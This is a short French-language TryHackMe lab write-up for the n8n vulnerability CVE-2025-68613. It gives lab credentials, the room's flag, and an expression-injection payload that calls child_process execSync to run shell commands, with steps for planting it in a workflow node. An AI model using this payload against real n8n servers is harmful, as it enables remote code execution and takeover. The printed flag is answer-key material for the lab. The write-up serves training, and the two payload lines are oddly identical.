Salle TryHackMe : n8n : CVE-2025-68613

Joueur : J4ck3LSyN

Hôte : ...

Nom d'utilisateur : [email protected]

Mot de passe : Try12345!

Méthodologie

Charge utile : {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} Charge utile 2 : {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. Accédez à la boîte d'attaque.
2. Start New
3. Add First Step, laissez la barre latérale droite ouverte et ajoutez Manual Trigger.
4. Après avoir ajouté une option Set Fields.
5. Ajoutez un nom de champ pwn et la charge utile.
6. Exécutez et pwn.
7. Changez la charge utile pour exécuter cat flag.txt - Drapeau : THM{n8n_exposed_workflow}